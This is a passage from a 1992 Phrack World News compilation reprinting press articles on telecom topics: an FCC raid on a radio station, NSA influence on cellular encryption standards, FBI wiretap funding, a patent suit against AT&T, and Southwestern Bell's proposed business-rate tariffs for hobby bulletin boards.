This is the second major bust in Arizona during the last half of 1991. With people like Gail Thackeray residing there and anti‑hacker companies such as Long Distance For Less and U.S. West it is definitely not the place for any kind of hacking.

________________________________________

U2 Shakes Up New England Bell February 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Steve Morse (The Boston Globe)(Page 15)

Irish rockers U2 left local telephone operators hasping for breath. In an unprecedented move designed to thwart scalpers, tickets for U2's March 17 show at Boston Garden went on sale through telephone charge only ‑‑ and the result was a long morning for the phone company.

"It was complete gridlock. I don't know how else to describe it. The bombed us right out of the water," said Joanne Waddell, a New England Telephone manager. "We expected a lot of calls ... but this was unbelievable. Our operators were clicking away like crazy out there."

The Garden show sold out in 4 1/2 hours, said Doug Borg of Tea Party Concerts, adding that it took that long because there was a two‑ticket limit per person ‑‑ another step taken to frustrate scalpers.

"The demand was overwhelming. I heard there were a half‑million calls in the first hour," said Larry Moulter, president of Boston Garden. The telephone company said exact figures were not yet available, but Moulter's information is consistent with a recent U2 sale in Atlanta, where more than one million calls, many from eager fans with automatic redial, were logged.

"I don't really have a number. It's safe to say thousands, many thousands," said Peter Cronin, a spokesman for New England Telephone. He admitted there were minor delays in getting a dial tone, but that it was "not a serious situation. If people stayed on the line, they'd get dial tone in a few seconds."

There were 100 lines selling sales for the Garden concert. They checked for duplicate names, credit card numbers and addresses (to help enforce the limit of two per person) and caught 'some' attempts to use a card number more than once.

________________________________________

Federal Agents Raid WCFL; Station Silenced, Forced Off Air January 28, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Patrick Townson (Telecom Digest)

In an unusual move by the Federal Communications Commission, a far southwest suburban radio station in the Chicago area has been forced off the air by the FCC which alleges illegal activity at the station.

WCFL‑FM (104.7), a station licensed in Morris, IL with no connection to the station using the same call letters in Chicago several years ago was silenced by FCC officials who raided the station accompanied by members of the United States Marshall's Office on Friday, January 24.

Prompted by complaints from other broadcasters in the Chicago area, an FCC field inspection team on January 16 found WCFL was beaming its signal at more than twice its authorized power of 11,000 watts, and was using a nondirectional rather than directional antenna as called for in its license to operate.

The effect of the violations was to broacast a more powerful signal toward Chicago and elsewhere, and "to increase the likelyhood of interference with other stations," acccording to Dan Emrick, chief of investigations for the FCC's office in Chicago.

The FCC had cited the station for similar offenses in 1990, and fined the owners $3000. Emrick said there was no record of payment.

Tim Spires is the General Manager of WCFL, and an officer of the parent company 'MM Group' which is based in Ohio. Neither Mr. Spires nor other officials of 'MM Group' would make any response to the FCC action which forced the station off the air at 1:00 PM last Friday.

Emrick said federal officers entered the station shortly before 1:00 PM and served the appropriate legal papers on employees on duty. FCC staffers then siezed the broadcasting studio and transmitting equipment. After giving the obligatory sign off message and station identification over the air, power was killed to the transmitter. Employees were ordered to leave the premises, which was closed with a US Marshall's Seal.

Emrick went on to say the station would not be allowed to return to the air until the station settles its account with the FCC and completes construction of a directional antenna. At that point, the station would be permitted to operate 'in probation' while the Commission did further technical inspections, and the probation status would continue for an unspecified period of time afterward.

A press release was finally issued by the 'MM Group' yesterday which said in part that WCFL " ... went off the air voluntarily in order to install a new antenna; bring their transmitter into compliance with FCC regulations and better serve their listening area."

________________________________________

New Cellular Phones Raise A National Security Debate February 6, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)(Page D1)

Advocates of privacy rights are challenging the nation's most clandestine intelligence‑gathering agency over how much confidentiality people will have when communicating via the next generation of cellular telephones and wireless computers.

The issue has emerged at meetings this week of an obscure committee of telecommunications experts that is to decide what kinds of protections against eavesdropping should be designed into new models of cellular phones. People concerned with privacy are eager to incorporate more potent scrambling and descrambling codes in equipment to prevent the eavesdropping that is so easy and so common in the current generation of cellular phones.

But privacy advocates contend that the industry committee has already decided not to adopt the maximum level of protection because of pressure from the National Security Agency, whose intelligence gathering includes listening in on phone conversations in foreign countries and intercepting data sent by computers. The privacy‑rights faction contends that the security agency opposes codes that are hard to crack because the equipment might be used overseas.

"The NSA is trying to weaken privacy technology," said Marc Rotenberg, Washington director of Computer Professionals for Social Responsibility, a public advocacy group organized by computer scientists and engineers. "At stake is nothing less than the future of our privacy in the communications world."

The standards setting group is made up of cellular telephone equipment manufacturers and service providers.

The National Security Agency is the Defense Department Agency in charge of electronic intelligence gathering around the world for use by many other branches of the government. Officials of the agency, who have been participating in the meetings as observers, said their only interest in the matter was insuring that the government's own secure telephones were compatible with the new cellular phones. They said that agency officials have specifically been told not to participate in the standards‑setting effort, and indeed some engineers attending the meetings said they have felt no outside pressure.

But other engineers involved in the standards process said the agency's presence had loomed large in earlier technical meetings during the past two years. "I would talk to people and they would say, 'The NSA wouldn't like this, or wouldn't like that,'" said one committee member, who spoke on the condition that he not be identified.

The Agency's Long Reach

The debate is important, the privacy advocates say, not just for cellular phones but for many other emerging technologies that communicate using radio signals, which are easier to intercept than information sent over conventional telephone lines. These include wireless "personal communicators" that transmit and receive data, and portable "notebook" computers.

But the dispute also illustrates that even as the cold war ebbs, the National Security Agency is still wielding influence over many United States high‑technology industries. Indeed, executives from a number of hightechnology companies say the agency is hampering their efforts to compete for business overseas by forcing them to make products for foreign markets that are different from products sold domestically.

The agency exercises this power in evaluating some of the applications by companies to export high‑technology products. In that role, critics say, the agency has opposed exports of equipment fitted with advanced encryption systems that are increasingly vital to modern business.

Buyers Can Shop Elsewhere

The agency's critics say it is almost impossible to contain the proliferation of encryption technologies and that customers who are deterred from buying it in the United States will simply shop abroad or steal the technology.

"The notion that you can control this technology is comical," said William H. Neukom, vice president for law and corporate affairs at Microsoft Corporation, the big software publisher.

Critics also say that it is ludicrous that encryption systems used in popular software programs receive the type of Government scrutiny that might be expected for weapons. "The notion that our our products should be classified as munitions, and treated that way just doesn't make sense at all," Mr. Neukom said.

Privacy advocates have also challenged the committee's intention not to publish the algorithm on which the encryption technology is based. Traditionally, cryptographers have said that the best way to ensure that encryption techniques work is to publish the formulas so they can be publicly tested.

The committee has said that it will not disclose the formula because it does not want to criminals an opportunity to crack the code. But publishing the formula is only a danger only if the formula is weak, said John Gilmore, a Silicon Valley software designer, and privacy advocate. If the formula is strong, disclosing it publicly and letting anyone try to crack it would simply prove it works.

The code, however, is simple to break, say a number of engineers who have examined it. Several committee members said they realized that the security agency would never permit the adoption of an unbreakable privacy scheme.

"The cynics in the bar would say that you're never going to get anything by the NSA that they can't crack trivially anyway," said Peter Nurse, chairman of the authentication and privacy subcommittee of the standards committee and an engineer at Hughes Network Systems.

NSA Role Denied

But a number of engineers who worked on the technical standard insist that the agency has had no overt role in setting it. "The standard was based on the technical deliberations of some of the best experts in North America," said John Marinho, chairman of the standards committee and an executive at AT&T. He said the committee relied on the NSA only for guidance on complying with United States regulations.

He also said that the new standard would offer far more privacy protection than is available under the present cellular telephone system. Today, although it is against the law to eavesdrop on a cellular telephone conversation, many individuals modify commercial radio scanners so they can receive the frequencies on which cellular calls are transmitted.

________________________________________

FBI Eavesdropping Challenged February 17, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from The Washington Post

WASHINGTON ‑‑ Cellular telephones and other state‑of‑the art telecommunications technology are seriously challenging the FBI's ability to listen to the telephone conversations of criminal suspects, law enforcement officials say. The FBI is seeking $26.6 million next year to update its eavesdropping techniques. Normally tight‑lipped FBI officials become even more closedmouthed when the subject of investigative "sources and methods" comes up. But a review of the bureau's 1993 budget request provides an unusual glimpse into the FBI's research on electronic surveillance and its concerns about new technologies.

"Law enforcement is playing catchup with the telecommunications industry's migration to this technology," said the FBI's budget proposal to Congress. "If electronic surveillance is to remain available as a law enforcement tool, hardware and software supporting it must be developed."

The new technologies include digital signals and cellular telephones. At the same time, there has been an increase in over‑the‑phone transmission of computer data, which can be encrypted through readily available software programs, say industry experts and government officials.

The FBI's five‑year research effort to develop equipment compatible with digital phone systems is expected to cost $82 million, according to administration figures.

The FBI effort is just a part of a wider research program also financed by the Pentagon's secret intelligence budget, said officials who spoke on condition of anonymity.

Electronic surveillance, which includes both telephone wiretaps and microphones hidden in places frequented by criminal suspects, is a key tool for investigating drug traffickers as well as white‑collar and organized crime.

Conversations recorded by microphones the FBI placed in the New York City hangouts of the Gambino crime family are the centerpiece of the government's case against reputed mob boss John Gotti, now on trial for ordering the murder of his predecessor, Paul Castellano.

Taps on the phones of defense consultants provided key evidence in the Justice Department's long running investigation of Pentagon procurement fraud, dubbed "Operation Ill Wind." But with the advent of digital phone signals, it is difficult to unscramble a single conversation from the thousands that are transmitted simultaneously with computer generated data and images, industry officials said.

"In the old days all you had to do was take a pair of clip leads and a head set, put it on the right terminal and you could listen to the conversation," said James Sylvester, an official of Bell Atlantic Network Services Inc. But digital signal transmission makes this task much more difficult. Conversations are broken into an incoherent stream of digits and put back together again at the other end of the line.

John D. Podesta, a former counsel to the Senate Judiciary's law and technology subcommittee, said the FBI and other law enforcement agencies are simply victims of a technological revolution. For more than 50 years the basic telephone technology remained the same.

________________________________________

Nynex Will Go On‑line With Listings February 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Adam M. Gaffin (adamg@world.std.com)(Middlesex News, Framingham, MA)

You can now let your fingers do the walking electronically through the Yellow Pages.

Nynex yesterday announced an online Yellow Pages available to anyone with a computer and modem, becoming the first regional Bell operating company to offer an electronic Yellow Pages database. The 1984 court order that broke up AT&T had barred such efforts, but that provision was overturned last year.

The service, at least at first, will offer listings only, rather than ads, from close to 300 Nynex directories ‑‑ the company serves most of New York and New England, except for Connecticut.

Users will also be able to scan UPI news and financial information, according to Kurt Roessner, president of Nynex Information Technologies, the subsidiary that will run the service. Ultimately, the company hopes to begin offering and displaying Yellow Pages‑like ads to users, Roessner said yesterday.

Users will require special software to access the information through the Minitel network, a French system that has so far failed to catch on in the U.S. Nynex will provide the software for free to users of MS‑DOS, Macintosh, Apple II and Commodore computers, Roessner said.

Roessner said Nynex eventually hopes to offer the service on other, more popular computer networks. Minitel was chosen because Nynex has offered its Yellow Pages information to French subscribers for almost two years, he said.

Nynex will charge 61 cents a minute ‑‑ $36.60 an hour ‑‑ the same as French users pay. However, Roessner acknowledged this may be more than Americans are willing to pay and that the company will look at lowering the rate.

CompuServe, the nation's largest consumer‑oriented computer network, charges $12.80 an hour ‑‑ but drops that to just 50 cents an hour to people who use an AT&T directory of national toll‑free numbers.

The Nynex project is the latest in a series of efforts by large companies to sell information to consumers via computer. Some, such as an effort by KnightRidder in the mid‑1980s, have ended in spectacular failure. Last year, Nynex dropped its own information "gateway" service after losing several million dollars. CompuServe and several other online services, however, reportedly earn sizable profits.

Phone‑company information services have been surrounded by controversy. Opponents, who include organizations representing newspaper publishers, say it is unfair to allow a company that provides the means of distribution to also offer services ‑‑ a common comparison is to a turnpike authority that also ran a trucking company.

Roessner, however, said he hopes the phone company can cooperate with, rather than fight, other potential "information providers." He said he has already talked with officials at a number of newspapers who seem more willing to work with the phone company on joint projects than their national organizations would let on.

________________________________________

Civil Jury Rules Against AT&T in Patent Violation Case February 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Paul Deckelman (United Press International/UPI)

NEW YORK ‑‑ A jury ruled American Telephone & Telegraph Company infringed upon somebody else's patent for telephone switching equipment and awarded the plaintiff $34.6 million, an attorney said.

AT&T contends the suit is without merit and said it will appeal the verdict.

The six‑member jury at the federal district court in Midland, Texas, returned its verdict after having heard six days of testimony in the case, brought against the telecommunications giant by Collins Licensing L.P., of Dallas.

The plaintiff's lawyer, Joseph Grear, of the Chicago‑based firm of Rolf Stadheim Ltd., held out the possibility that the total award could go substantially higher, due to interest accruing back to 1985. An AT&T spokesman dismissed the possibility.

U.S. District Court Judge Lucius Bunton is considering the jury's recommendation.

Grear claimed AT&T's 5ESS digital central office switching device infringed upon a 1976 federal patent for a "Time Space Time (TST) Switch" awarded to the late Arthur A. Collins.

Collins was the founder of Collins Radio Co., now a division of Rockwell International Inc., of El Segundo, California.

"Arthur Collins was a pioneer in the field of digital telecommunications. The jury's verdict provides recognition of Mr. Collins' substantial research and development investment in, and important technical contributions to, the field of digital telephony," Grear said.

AT&T's Network Systems division came out with the device in the early 1980s, using it for central‑office telephone switching equipment used to route calls to the proper exchange and number.

The suit, filed in December 1990, originally named Southwestern Bell, of Dallas, as a co‑defendent. That portion of the case, however, was dismissed when the regional telephone company argued it had not violated the patent because it did not make the disputed switching equipment ‑‑ it had only bought it from AT&T.

But AT&T contends that Collins' patent was not valid.

Spokesman Curt Wilson said the Federal Patent Office is currently examining the patent in question in a separate proceeding at the request of both AT&T and Collins Licensing. "We think they will invalidate that patent and we won't have to pay," he said.

There is no firm time frame for the anticipated Patent Office ruling.

Wilson added that even if the patent is found by the government to have been valid, AT&T does not believe its equipment used Collins' discovery, and thus feels it did not infringe upon the patent.

"The jury found in our favor on seven of the original eight counts of the suit," Wilson said, "and on the remaining claim, awarded them $34 million, 70 times less than the amount they had originally sought."

We believe this suit is totally without merit," the spokesman asserted. "The patent is not valid ‑‑ and we expect the patent office to agree."

________________________________________

User "Bill Of Rights" Introduced January 23, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TAMPA, FLORIDA.‑‑ .The North American Directory Forum (NADF) introduced a "User Bill of Rights" to address security and privacy issues regarding entries and listings concerning its proposed cooperative public directory service. NADF members also approved continuing efforts on an experimental publish directory pilot at their eighth quarterly meeting.

The "User Bill of Rights" addresses the concerns of the individual user or the user's agent, and is in response to issues brought to the attention of the NADF.

Final plans were completed for the X.500 directory pilot scheduled to begin in the first quarter of this year. The pilot will be used by the NADF to validate its technical agreements for providing a publich directory service in North America. The agreements have been recorded in standing documents and include the services that will be provided, the directory schema and information sharing required to unify the directory. It will test the operation of X.500 in a large‑scale, multi‑vendor environment.

All NADF members are participating in the pilot. The members are AT&T, Bell Atlantic, BellSouth Advanced Networks, Bellcore representing US West, BT North America, GE Information Services, IBM, Infonet, MCI Communications Corp., Pacific Bell, Performance Systems International, US Postal Service and Ziff Communications Co. Joining the NADF at this meeting are Canada Post Corporation and DirectoryNet, Inc.

The NADF was founded in 1990 with the goal of bringing together major messaging providers in the U.S. and Canada to establish a public directory service based on X.500, the CCITT recommendation for a global directory service. The forum meets quarterly in a collaborative effort to address operational, commercial and technical issues involved in implementing a North American directory with the objective of expediting the industry's transition to a global X.500 directory.

This quarter's meeting was hosted by the IBM Information Network, IBM's value‑added services network that provides networking, messaging, capacity and consulting services.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

USER BILL OF RIGHTS (for entries and listings in the Public Directory)

The mission of the North American Directory Forum is to provide interconnected electronic directories which empower users with unprecedented access to public information. To address significant security and privacy issues, the North American Directory Forum introduces the following "User Bill of Rights" for entries in the Public Directory. As a user, you have:

I. The right not to be listed.

II. The right to have you or your agent informed when your entry is created. III. The right to examine your entry.

IV. The right to correct inaccurate information in your entry. V. The right to remove specific information from your entry. VI. The right to be assured that your listing in the Public Directory will comply with US or Canadian law regulating privacy or access information. VII. The right to expect timely fulfillment of these rights.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Scope of Intent ‑ User Bill of Rights

The North American Directory Forum is a collection of service providers that plan to offer a cooperative directory service in North America. This is achieved by interconnecting electronic directories using a set of internationally developed standards known as the CCITT X.500 series.

In this context, the "Directory" represents the collection of electronic directories administered by both service providers and private operators. When an entry containing information about a user is listed in the Directory, that information can be accessed unless restricted by security and privacy controls.

A portion of the Directory ‑‑ The Public Directory ‑‑ contains information for public dissemination. In contrast, other portions of the Directory may contain information not intended for public access. A user or user's agent may elect to list information in the Public Directory, a private directory, or some combination. For example, a user might publicly list a telephone number or an electronic mail address, and might designate other information for specific private use.

The User Bill of Rights pertains to the Public Directory.

Source: NADF, January 1992

PWN/Part 3

Volume Four, Issue Thirty‑Seven, File 13 of 14

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVII / Part Three of Four PWN

PWN PWN

PWN Compiled by Dispater & Spirit Walker PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

THE RBOC'S GREED IS AIMED AT DESTROYING OUR BULLETIN BOARDS!

Computer Users See Threat In Costs November 5, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Martin Rosenberg (Kansas City Star)

"Southwestern Bell Plan Portends Changes, They Fear"

Some computer bulletin board operators in Missouri say they might have to shut down the increasingly popular computer networks if Southwestern Bell Telephone Company, succeeds in raising their rates.

Southwestern Bell says its only trying to fairly price its services by charging the bulletin board operators business rates instead of residential rates. The company is seeking approval for the changes from Missouri regulators.

Industry experts say the issue could be the opening volley in a broad campaign by telephone companies to change the way consumers and businesses pay for electronic communications.

Residential customers might one day have to pay more to use their personal computers and modems than they pay for voice communications, experts say. And businesses might have to pay more to use fax machines.

Southwestern Bell denied that it is attempting to change any rates other than those affecting a small number of data communications customers who should be switched to a flat business rate, more expensive than the residential rate.

The bulletin boards, frequently operated out of homes, allow users to exchange messages, advice and software programs. Many are free to use, and operators often get no revenue from them. Hundreds have formed across the state in the last few years.

Southwestern Bell's proposal is meant for only those who have set up a bulletin board through his or her personal computer. Not affected are computer users who merely access the bulletin board computer over telephone lines.

The proposal comes at a time when telephone companies' plans for information services have moved to center stage.

The U.S. Supreme Court (as already) cleared the way for seven regional telephone companies, including Southwestern Bell, to start providing information services. Those services could eventually compete with electronic bulletin boards, newspapers and data base operations such as CompuServe Inc. and Prodigy Services Co. (CompuServe is owned by H&R Block Inc. of Kansas City).

Revenues for telephone‑delivered information in the United States amounted to an estimated $750 million last year and are projected to grow to $2 billion in 1992, according to industry sources.

Southwestern Bell's proposal, if approved, would take effect by mid‑November.

Bulletin board operators are operating like businesses, said William Bailey, company district manager of rate administration for Missouri in St. Louis.

"Some customers on residential lines would more appropriately be on business lines," Bailey said.

Bailey said current business customers also would be affected. They would be allowed to switch to the flat business rate ($33.55 a month in metropolitan Kansas City) and avoid paying a higher "information terminal service" rate (currently $43.60 a month), he said.

Southwestern Bell mounted a similar effort to get bulletin boards under business rates in Texas. It later decided to allow free bulletin board services using three or fewer lines to continue to enjoy residential rates.

That was "an enormous mistake," Bailey said. Phone companies are unable to monitor whether a bulletin board is collecting money from users, he added.

Many Kansas City bulletin board operators are upset with Southwestern Bell's proposal.

"If they start charging business rates, some bulletin boards will shut down," said Lanny Conn, who operates a free bulletin board called SOLO‑Quest.

Bill Hirt, who operates the Amiga Central bulletin board for Amiga computer users, said he would close down if he is charged the business rate. His bulletin board also is free to use.

Currently, about 200 personal computer users ‑‑ some as far off as Australia and Sweden ‑ call his bulletin board, he said.

Conn and Hirt serve as spokesmen for the Greater Kansas City SysOps Association, made up of about 22 bulletin boards. (SysOps stands for system operators). Hirt estimates there are 100 bulletin boards in the city; most have been set up as hobbies.

Attorney Robin Martinez, who is representing the association, said that Southwestern Bell's proposal would hurt information‑age pioneers.

"People running bulletin boards and people using them are on the cutting edge of the information age," he said.

Southwestern Bell wants to thin the ranks of bulletin board providers so there will be fewer competitors to its own offerings, he said.

"To a certain extent, they are trying to get a stranglehold on information services," Martinez said.

Bailey denied there is a link between his company's proposals and its own plans for information services.

"I'm not getting any direction from on high to do what I am doing," he said. "I'm really not aware what my company intends to do in terms of information services."

But William Degnan, a telecommunications consultant in Austin, Texas, said, "The majority of these folks (bulletin boards) are underpricing these services that Southwestern Bell would like to provide at a grander scale."

Degnan had advised the group of Texas bulletin board operators who had opposed Southwestern Bell's efforts to charge business rates there.

"I think Southwestern Bell is concerned that (it) won't be able to sell what other people are giving away," Degnan said.

Martha Hogerty, public council representing consumers in Missouri, said after reviewing Southwestern Bell's filing, "This looks like anybody with a modem would have to be on a business rate."

Most regional Bell telephone companies are now developing strategies for offering information services.

Phone companies may soon try to get customers to pay a measured rate for data communications, said Howard Anderson, president of the Yankee Group of Boston. Under such a system, the monthly cost of data communications would increase the longer you are connected during the month ‑‑ like a running taxi meter.

A change to metered rates would be reasonable and enable telephone companies to increase revenues as usage and expenses mount, he said.

The average residential customer uses the phone 21 minutes a day, while a customer with a personal computer and modem uses a phone line an average of 62 minutes a day, Anderson said.

Anderson predicted that telephone companies may decide to offer customers highspeed data communications for a rate higher than voice communications. Usage above a fixed number of hours would increase the size of the monthly phone bill, he said.

To encourage use of the new line, phone companies may take steps to lower the quality of standard lines so that they will not cleanly carry electronic information, Anderson said.

Bailey disagreed, saying Southwestern Bell has no plans to introduce measured service for voice or data communications.

And, he said, "I know of no plans to degrade our service to migrate customers >from one service to another."

________________________________________

SW Bell Tariff Called Threat to Computer Bulletin Boards November 18, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Robert Sanford (St. Louis Post‑Dispatch)

A proposal by Southwestern Bell Telephone Co. to revise a tariff for telephone use has brought protests from owners of personal computers who use phone lines to operate bulletin board services for other computer owners.

The bulletin board operators contend that their members ‑ by and large operate bulletin boards as a hobby and not a business. And they contend that the change suggested by Bell is part of an effort by the phone company to make them pay business phone line rates rather than residential rates.

Bulletin boards are computers with modems that can be accessed by other computers with modems. The "bulletin boards" contain information that can be passed to other computers ‑ information of any sort, from cooking recipes to games to automobile tips to computer programming.

Hobby bulletin board users have common interests, said Jim Harre, coordinator of a bulletin board network called Network 100. "You could say that bulletin board users are somewhat similar to amateur radio operators. They are people using computers to communicate. They serve a function like a bulletin board at a supermarket. They pass on information.

The operators see the Bell proposal as a threat to all bulletin boards. Increased costs would simply force some hobby boards out of existence."

A list of several networks in the St. Louis area shows there are about 250 bulletin boards in the area, said Bob Schmedake, a system operator, or "sysop", as they call themselves. It is estimated that there may be that many in the Kansas City area. So there are several hundred across the state. There are 16,000 bulletin boards listed worldwide.

Although the tariff proposal has brought the issue of residential vs. business rates to the forefront in discussions among Missouri sysops, the proposal does not suggest any sort of residential rate change. The proposal suggests that some users of a different sort of service called Information Terminal Service should be allowed to change to flat business rate.

Generally, the ITS rate is $43.65, the flat business rate is $33.55 and the residential rate is $11.35.

A definition in the phone company's existing tariffs says in part that a line used "more as a business than of a residence nature" should be billed at a business rate, said William Bailey, Southwestern Bell's district manager for rate administration in Missouri.

A "business nature" could be said to be present if the line is advertised in any way, he said.

But the nature of the growth of bulletin boards has been that computer owners added modems to personal computers in the home and began communicating with others by computer, using residential line, the sysops say. Most always have thought of bulletin boards as a hobby, they say. Though there may be some charges for access to bulletin boards, nobody makes any money at it, they said.

Bailey said that the phone company does not know how many sysops there are using residential lines and the company has no formal plan to try to determine how lines are being used.

Bailey attended a meeting in Kansas City that also was attended by John Van Eschen, assistant manager for telecommunications for the Missouri Public Service Commission, and about 150 sysops.

The meeting was described later as being "testy" at times and the outcome was that the sysops and the phone company agreed to disagree. Users contended that bulletin boards are a public service offering information and that rate increases could force some to shut down.

"The users want to be billed as residential", Van Eschen said. "An avenue toward getting that would be to file a formal complaint against Bell. That could lead to written testimony and a hearing."

He said there is a complaint on file now charging that Bell wanted to change user's rate from residential to business and there was talk at the meeting about some sort of legal action.

Van Eschen said the PSC is continuing to study the question and has made no recommendation. The effective date for application of a ruling would be December. 15.

Some sysops, Harre among them, suggest that the phone company might be interested in reducing the number of bulletin boards because the company has plans to enter the information services business itself and may see bulletin boards as potential competitors. The Supreme Court recently upheld a ruling that allowed the Baby Bell companies to enter information services.

Bailey said he was not aware of what the company plans to do in the information services business.

________________________________________

Phone Companies Eyeing Higher Rates for BBSes November 18, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Steve Higgins (PC Week)(Page 173)

The shoestring bulletin‑board service could be a thing of the past if the major telephone companies have their way.

Regional operating companies such as U.S. West Inc., Southwestern Bell Corp. and Southern Bell Telephone & Telegraph Co. are maneuvering to raise the cost of doing business for the more than 40,000 operators of dial‑in bulletin boards in the United States, those operators say.

The bulletin board services (BBSs), whose offerings run the gamut from technical support to discussions on exotic birds, could be crippled or killed off completely by higher installation costs and monthly line charges that, in some cases, would double the current rates.

"If the telephone companies were to raise the operating costs, we would have to pass that on to users," said Kevin Beherens, operator of Aquilla BBS, a distributor of shareware in Aurora, Ill.

While attempts to up the ante have thus far been rebuked by overwhelming opposition from BBS users, a proposal by Southwestern Bell that could make it easier for the company to crack down on BBS operators who are paying low, residential phone‑line rates is up for review this month.

"We have a tariff for business customers. Bulletin‑board service operators should be paying that rate," said David Martin, a spokesman for Southwestern Bell in St. Louis. "We don't now have an organized program to move bulletinboard providers to that rate."

The companies region covers five states in the Midwest and the southern United States, but the proposal would take effect only in Missouri. If approved by Missouri regulators, it could more than double the monthly rate for operators of bulletin‑board systems.

Business data‑line rates average $18 to $45 per month nationally, while residential rates average $7 to $20 per month.

In addition, a federal judge's ruling in October that frees the telephone companies to operate their own bulletin‑board services could make price hikes even more tempting. Because of the federal ruling, analysts say, the phone companies' interest in raising costs for BBS operators extends beyond extracting more revenue.

"The phone companies want to put up electronic Yellow Pages...[which] in itself [is] not a bad thing," said Jack Rickard, editor of Boardwatch, a monthly magazine for BBS users that is published in Lakewood, Colorado. "But the mentality seems to be to stop anything else."

COMPETITORS ABOUND

Should they unveil their own on‑line services, the phone companies will find a prodigious installed base with which to compete. In addition to the garage BBS operations, nearly 40 of the top 100 PC software companies are exploiting the low expense and wide reach of bulletin boards to provide customer support, according to Soft*letter, an industry newsletter based in Watertown, Massachusetts.

"We are just now starting to see business use bulletin‑board services," said Jim Harrer, president and CEO of Mustang Software Inc., a vendor of communications software and a bulletin‑board service operator located in Bakersfield, Calif. "It would cripple them if [tariffs] got in the way."

If that becomes the case, observers say, some system operators might try to dodge the new tariff by disguising their operations as personal telephone lines. In fact, some operators are reportedly trying that tactic already.

"I've heard of one guy who was who was trying to convince the phone company that he has five kids" who needed separate phone lines, Mustang Software's Harrer said.

Increased costs could also affect the large bulletin‑board operators, such as Prodigy Services Co. and CompuServe Inc., particularly if coupled with the emergence of bulletin boards maintained by telephone companies.

"It is not going to push them out of business," said Boardwatch's Rickard, "but [Prodigy and CompuServe] are also affected."

________________________________________

Southwestern Bell's Scorched Earth Policy For Bulletin Boards December 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from BOARDWATCH Magazine

Throughout the debate on whether to allow the Regional Bell Operating Companies (RBOC) into the information business, opponents warned that the RBOC would use their monopoly position to unfairly eliminate competition. And throughout this debate, the RBOC piously denied they would ever do anything anti‑competitive. Judge Greene warned in clear and ringing terms that their history indicated they would and denied them repeatedly the freedom to compete in information services over the course of the seven years since divestiture.

Using millions in rate‑payers funds, the RBOC lobbied and appealed through every venue in government and finally found an appeals court who directed Judge Greene to reconsider his stand.

Forced to lift the ban on information content, Greene issued a stay on his ruling pending appeals by the opposition. In an October 7 decision by the appeals court, even the stay was overturned freeing the bells over night to operate their own online services.

The ink had not completely dried on the document when they levied their opening shot. Southwestern Bell Telephone, with a history of BBS harassment going back to the mid‑80s already under their belt, was the first out of the gate. In October, they filed a tariff revision asking that ALL electronic bulletin boards, whether operated for profit or as a hobby, be classified as Information Terminal Services and not only forced to pay higher business rates, but specifically prevented from using existing business measured service tariffs to reduce their telephone bills. The tariff was filed October 7, 1991 as a proposed revision to Missouri Local Exchange Tariff, P.S.C. Mo. No. 24 and P.S.C. Mo. No. 35, General Exchange Tariff, Section 17, Rules and Regulations Applying to all Customer's Contracts.

Currently, the basic line charge for businesses in the Kansas City area is $33.55 monthly‑‑about twice the residential rate. And the Information Terminal Rate is actually higher yet at $43.60 monthly. While the tariff modification is specifically aimed at BBS operators, the wording of the tariff would seem to include anyone who uses a modem or fax machine on a telephone line.

Southwestern Bell has a history of animosity with regards to bulletin board operations. The company announced their own SOURCELINE gateway data service in Houston in 1988 and delivered letters to hundreds of Houston bulletin boards in October of that year demanding they pay business rates for their residential telephone lines. A group of local system operators operating under the banner of COSUARD took their case to the Texas Public Utilities Commission, charging predatory practices, anti‑competitive actions, and discrimination against the hobby BBS community.

Southwestern Bell, concurrent with the grandiose failure of their own SOURCELINE gateway service, settled with the group in January 1991. All BBS in the Houston area operating on three or fewer lines and not seeking subscriber support are classified as hobby BBS and continue to qualify for residential telephone service.

Hobby bulletin boards are really the issue. Most commercial or subscription bulletin board systems already pay business telephone rates for their systems. However, most opt for a type of business classification referred to as "totally measured service." Virtually all RBOC offer a reduced basic rate in exchange for the right to meter local calls ‑‑ usually at two or three cents per minute. Since most bulletin boards make few outbound calls ‑‑ most of the activity is incoming‑‑the totally measured service, even in a business classification, is only a few dollars more than residential telephone service. SWB in their filing, if approved, would effectively double the telephone charges for any BBS in the state of Missouri overnight.

Kansas City system operators have banded together to form a non‑profit organization titled the Greater Kansas City Sysops Association (GKCSA) to fight the proposed change. At a November 14th public hearing in Kansas City, nearly 150 operators and callers showed up to protest the action and the MPSC agreed to delay implementation of the new rate until December 15th. SWB had originally sought to apply the rates effective November 15.

According to GKCSA attorney Robin Martinez, the group will be filing a legal petition asking the MPSC to rule that all hobby BBS operating on residential premises be allowed the lower residential rate classification. The GKCSA contends in its petition that Southwestern Bell Telephone is acting in a predatory and anti‑competitive manner in seeking to eliminate any perceived competition to their own planned information services in Missouri.

GKCSA president Scott Lent predicts that if Southwestern Bell gets their way, it will be the end of the free hobby BBS in the state ‑‑ which is just what the telephone company wants. And he predicts that if SWB wins in Missouri, the other RBOC won't be far behind with tariffs of their own to eliminate the competition of underpriced information services represented by the free BBSs.

